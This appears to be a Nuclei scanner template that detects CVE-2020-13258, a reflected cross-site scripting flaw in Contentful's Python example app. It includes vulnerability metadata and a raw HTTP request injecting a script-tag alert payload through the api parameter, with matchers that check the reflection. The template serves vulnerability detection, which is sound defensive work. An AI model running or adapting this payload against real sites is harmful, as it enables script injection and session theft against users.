Contentful <=2020-05-21 - Cross-Site Scripting

id: CVE-2020-13258

info:
  name: Contentful <=2020-05-21 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/contentful/the-example-app.py/issues/44
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13258
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13258
    cwe-id: CWE-79
    epss-score: 0.02063
    epss-percentile: 0.81073
    cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contentful
    product: python_example
  tags: cve,cve2020,contentful,xss,vuln

http:
  - raw:
      - |
        GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "{'api': '"
          - "</script><script>alert(document.domain)</script>',"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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